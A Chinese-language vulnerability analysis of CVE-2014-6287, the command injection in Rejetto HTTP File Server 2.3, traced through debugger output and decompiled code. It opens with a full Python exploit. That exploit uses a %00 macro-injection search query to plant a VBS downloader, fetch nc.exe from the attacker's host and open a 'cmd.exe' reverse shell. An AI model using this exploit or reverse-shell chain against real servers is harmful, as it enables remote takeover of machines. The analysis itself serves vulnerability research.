[CVE-2014-6287]Rejetto HTTP File Server远程命令执行漏洞分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/55ba60e61295e338f7f097ff68ba859a-hfs2.3c.src.zip

PoC:

#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#          It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#          It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux. 
  
#Usage : python Exploit.py <Target IP address> <Target Port Number>
 
#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).  
#          You may need to run it multiple times for success!
 
 
import urllib2
import sys
 
try:
    def script_create():
        urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")
 
    def execute_script():
        urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")
 
    def nc_run():
        urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")
 
    ip_addr = "192.168.44.128" #local IP address
    local_port = "443" # Local Port number
    vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
    save= "save|" + vbs
    vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
    exe= "exec|"+vbs2
    vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
    exe1= "exec|"+vbs3
    script_create()
    execute_script()
    nc_run()
except:
    print """[.]Something went wrong..!
    Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
    Don't forgot to change the Local IP address and Port number on the script"""

直接运行,输入想执行的命令即可


此漏洞是一个命令注入漏洞,原因是hfs.exe中,对于检测规则控制不严格,导致可以利用%00截断符绕过检测机制,从而执行后面的命令,达到任意命令执行的目的,下面对此漏洞进行详细分析。


漏洞分析


这里使用?search = %00{.exec|calc.}作为测试代码,首先hfs.exe会在00403282地址处,接收到search请求的字符串。

0:000> g
Breakpoint 3 hit
eax=0012e5b0 ebx=0012f620 ecx=0000000d edx=010c78e8 esi=0012e5b0 edi=010c78e8
eip=00403282 esp=0012e598 ebp=00000016 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
hfs_exe_unpacked_+0x3282:
00403282 df3c11          fistp   qword ptr [ecx+edx] ds:0023:010c78f5=0000000000637c63
0:000> dc 010c78ef
010c78ef  652e7b00 7c636578 00000063 00000000  .{.exec|c.......
010c78ff  00000000 0c7ef900 431e6401 00000000  ......~..d.C....
010c790f  4355fc00 cebf0000 d066d800 cebf3800  ..UC......f..8..
010c791f  00000800 000060ff 00000000 0c7f4900  .....`.......I..
010c792f  00000001 00000000 53464800 4449535f  .........HFS_SID
010c793f  332e303d 37323730 31303031 30323631  =0.3072710011620
010c794f  00003730 0c815100 00000001 00001a00  07...Q..........
010c795f  72623c00 d6bbb23e bbd6b3a7 d3acbaf2  .<br>...........
0:000> dc edx
010c78e8  72616573 003d6863 78652e7b 637c6365  search=.{.exec|c

在010c78e8位置是在接收字符串,实际上,这个地址外层函数实现的功能是对接收到的GET参数进行判断,从而执行不同的代码逻辑,这里胡接收到?search的内容。

接下来,程序会进入一处正则表达式匹配,在这里,会对接收到的参数内容进行过滤。

.text:00509828                 push    ebx
.text:00509829                 push    0
.text:0050982B                 mov     ecx, offset dword_50986C
.text:00509830                 mov     edx, offset a__ ; "\\{[.:]|[.:]\\}|\\|"
.text:00509835                 mov     eax, [ebp+var_4]
.text:00509838                 call    sub_50A848

在这个过程中,会逐一遍历search后面的参数,也是漏洞触发的关键原因。地址00509830位置会将正则字符串推入栈中进行匹配。匹配后会进行转码,从而避免执行命令。

比如,当我们输入一个正常search参数的时候。

0:000> g
Breakpoint 1 hit
eax=00d135c8 ebx=00579ecc ecx=0000002f edx=00000003 esi=00000003 edi=00000030
eip=00509147 esp=0012f04c ebp=0012f088 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
hfs_exe_unpacked_+0x109147:
00509147 e84c7d0000      call    hfs_exe_unpacked_+0x110e98 (00510e98)
0:000> dc eax
00d135c8  65722e7b 63616c70 7c227c65 6f757126  {.replace|"|&quo
00d135d8  207c3b74 32312326 652e3b33 26636578  t;| &#123;.exec&
00d135e8  34323123 6c61633b 34232663 2e7d3b36  #124;calc&#46;}.

可以看到对应部分已经被转码,但是这里却没有对%00作为判断,默认遇到%00就截断了,因此可以利用这个方法绕过检测。

0:000> bp 00509147 ".if(@eax == 0x00d22728){;}.else{g;}"

0:000> g
(344.348): Unknown exception - code 0eedfade (first chance)
(344.348): Unknown exception - code 0eedfade (first chance)
eax=00d22728 ebx=00579ecc ecx=0000000c edx=00000004 esi=00000003 edi=0000000d
eip=00509147 esp=0012f04c ebp=0012f088 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
hfs_exe_unpacked_+0x109147:
00509147 e84c7d0000      call    hfs_exe_unpacked_+0x110e98 (00510e98)
0:000> dc eax
00d22728  652e7b00 7c636578 636c6163 00007d2e  .{.exec|calc.}..

这里可以看到处理后的字符串没有转码,直接输出了,这就造成了漏洞的发生,接下来。

int __stdcall sub_5096E0(signed int a1, int a2)
{
  int result; // eax@2
  int savedregs; // [sp+Ch] [bp+0h]@2

  if ( a1 <= 50 )
  {
    sub_508ECC(&savedregs);
    result = sub_509418((int)&savedregs);
  }
  return result;
}

程序胡自进入sub_5096E0中对字符串进行处理,这里所谓的处理过程,就是对于exec和calc的分开,主要就是为了后续匹配exec,然后执行calc。首先

0:000> p
eax=00d22728 ebx=0000000b ecx=00000009 edx=00000003 esi=0000000c edi=0000000d
eip=00405987 esp=0012f020 ebp=0012f044 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
hfs_exe_unpacked_+0x5987:
00405987 7f11            jg      hfs_exe_unpacked_+0x599a (0040599a)     [br=0]
0:000> p
eax=00d22728 ebx=0000000b ecx=00000009 edx=00000003 esi=0000000c edi=0000000d
eip=00405989 esp=0012f020 ebp=0012f044 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
hfs_exe_unpacked_+0x5989:
00405989 01c2            add     edx,eax
0:000> p
eax=00d22728 ebx=0000000b ecx=00000009 edx=00d2272b esi=0000000c edi=0000000d
eip=0040598b esp=0012f020 ebp=0012f044 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
hfs_exe_unpacked_+0x598b:
0040598b 8b442408        mov     eax,dword ptr [esp+8] ss:0023:0012f028=0012f080
0:000> dc edx
00d2272b  63657865 6c61637c 007d2e63 007c5c00  exec|calc.}..\|.
00d2273b  d2310100 00000000 00000c00 53464800  ..1..........HFS
00d2274b  cfc5d03d d0d0d6a2 d00000c4 0000edb1  =...............
00d2275b  d1c00000 00000100 00001000 74706f00  .............opt
00d2276b  2e6e6f69 6d6d6f63 3d746e65 31000031  ion.comment=1..1
00d2277b  d1c00000 00000100 00000e00 4c505500  .............UPL
00d2278b  2044414f 55534552 0053544c 00000000  OAD RESULTS.....
00d2279b  d1c00000 00000100 00000e00 524c4100  .............ALR

这里会处理字符串{.部分,获得一个新的字符串,然后继续跟踪。

0:000> g
Breakpoint 8 hit
eax=010c3150 ebx=0012ed54 ecx=636c6163 edx=010c2af0 esi=010c3150 edi=010c2af0
eip=00403324 esp=0012ed00 ebp=0012ed34 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
hfs_exe_unpacked_+0x3324:
00403324 c3              ret
0:000> dc eax
010c3150  636c6163 6c610000 00650063 010c2960  calc..alc.e.`)..
010c3160  00000001 0000000b 72616553 cb3d6863  ........Search=.
010c3170  00f7cbd1 010c2960 00000001 0000000b  ....`)..........
010c3180  646c6f46 c43d7265 00bcc2bf 010c2960  Folder=.....`)..
010c3190  00000001 00000009 6b636142 bbb5b73d  ........Back=...
010c31a0  312d00d8 010c2960 00000001 0000000b  ..-1`)..........
010c31b0  b73d7055 c9d8bbb5 00e3b2cf 010c2960  Up=.........`)..
010c31c0  00000001 00000009 656d6f48 d2d7ca3d  ........Home=...
0:000> dc 010c2b68
010c2b68  63657865 78650000 00006365 010c2960  exec..exec..`)..
010c2b78  00cc49a0 00000007 70747468 002f2f3a  .I......http://.
010c2b88  00650031 010c2960 00000001 00000009  1.e.`)..........
010c2b98  454d4954 46454c20 00000054 010c2a71  TIME LEFT...q*..
010c2ba8  00000000 00000007 45464552 00524552  ........REFERER.
010c2bb8  00454d49 010c2960 00000001 00000008  IME.`)..........

通过下内存写入断点,可以看到处理后会将exec和calc分开。接下来程序会进入一处sub_52CE88函数,这个函数会对calc字符串进行拷贝。

int __usercall sub_52CE88@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ebx>)
{
  int v3; // esi@1
  int v4; // ecx@1
  int v5; // ecx@1
  int v6; // ecx@1
  int v7; // ebx@3
  int *v8; // ecx@5
  unsigned int v10; // [sp-Ch] [bp-1Ch]@1
  void *v11; // [sp-8h] [bp-18h]@1
  int *v12; // [sp-4h] [bp-14h]@1
  int v13; // [sp+8h] [bp-8h]@1
  int v14; // [sp+Ch] [bp-4h]@1
  int savedregs; // [sp+10h] [bp+0h]@1

  v13 = 0;
  v3 = a2;
  v14 = a1;
  __linkproc__ LStrAddRef();
  v12 = &savedregs;
  v11 = &loc_52CF19;
  v10 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v10);
  __linkproc__ LStrAsg(v4, v14);

这步完成之后继续单步跟踪。

.text:00537063 loc_537063:                             ; CODE XREF: sub_535540+1B16j
.text:00537063                 mov     eax, [ebp+var_4]
.text:00537066                 mov     edx, offset aExec ; "exec"
.text:0053706B                 call    @@LStrCmp       ; __linkproc__ LStrCmp
.text:00537070                 jnz     short loc_537079
.text:00537072                 push    ebp
.text:00537073                 call    sub_5328E8

程序会在这里和exec做一次匹配,如果匹配成功,则会执行接下来的call sub_5328E8操作。

Breakpoint 3 hit
eax=010c3f78 ebx=00d07ad0 ecx=63657865 edx=00538970 esi=00000003 edi=00000006
eip=0053706b esp=0012edb4 ebp=0012f044 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
hfs_exe_unpacked_+0x13706b:
0053706b e8e8e7ecff      call    hfs_exe_unpacked_+0x5858 (00405858)
0:000> dc eax
010c3f78  63657865 253d0000 00263030 010c2960  exec..=%00&.`)..
010c3f88  00000002 00000009 63657865 6c61637c  ........exec|cal
010c3f98  00260063 010c2960 00000001 00000007  c.&.`)..........
010c3fa8  6165733f 00686372 00000000 0d3d7364  ?search.....ds=.
010c3fb8  616e650a 2d656c62 7263616d 793d736f  .enable-macros=y
010c3fc8  0a0d7365 2d657375 74737973 692d6d65  es..use-system-i
010c3fd8  736e6f63 7365793d 696d0a0d 696d696e  cons=yes..minimi
010c3fe8  742d657a 72742d6f 793d7961 0a0d7365  ze-to-tray=yes..
0:000> dc edx
00538970  63657865 00000000 ffffffff 00000014  exec............
00538980  a8b6e8c9 d8b55049 c4b5b7d6 c8b6d9cb  ....IP..........
00538990  c6d6decf 00000000 00000000 447a0000  ..............zD

可以看到,这里匹配的两个字符串指针eax和edx都是exec,也就是执行字符串匹配成功,接下来会进入sub_5328E8。

.text:00532AD9 loc_532AD9:                             ; CODE XREF: sub_5328E8+D7j
.text:00532AD9                 mov     eax, [ebp+arg_0]
.text:00532ADC                 push    eax
.text:00532ADD                 lea     edx, [ebp+var_2C]
.text:00532AE0                 mov     eax, [ebp+arg_0]
.text:00532AE3                 mov     eax, [eax-10h]
.text:00532AE6                 call    sub_52CE88
.text:00532AEB                 mov     eax, [ebp+var_2C]
.text:00532AEE                 mov     ecx, 5
.text:00532AF3                 mov     edx, [ebp+var_4]
.text:00532AF6                 call    sub_50CEC4

到达00532AF6地址位置,调用了sub_50CEC4函数,这个函数就是执行函数,来看一下伪代码。

char *__usercall sub_50CEC4@<eax>(_BYTE *a1@<eax>, int a2@<edx>, signed __int32 a3@<ecx>)
{
  nShowCmd = _InterlockedExchange((volatile signed __int32 *)&v46, a3);

      if ( v46
        && (v20 = nShowCmd,
            v21 = (const CHAR *)__linkproc__ LStrToPChar(),
            v22 = (const CHAR *)__linkproc__ LStrToPChar(),
            (unsigned int)ShellExecuteA(0, "open", v22, v21, 0, v20) > 0x20) )
      {

伪代码内部调用了ShellExecuteA函数,执行了任意命令。

总结一下整个过程,程序在对接收到的search函数进行处理的过程中,会进行一次正则表达式匹配转码,而这个过程没有对%00字符串进行处理,从而误认为遇到%00就结束了,从而利用这种方法绕过正则匹配,这样在后续分解过程中,可以用exec匹配到执行命令,执行任意命令。
```

Comments
Write a Comment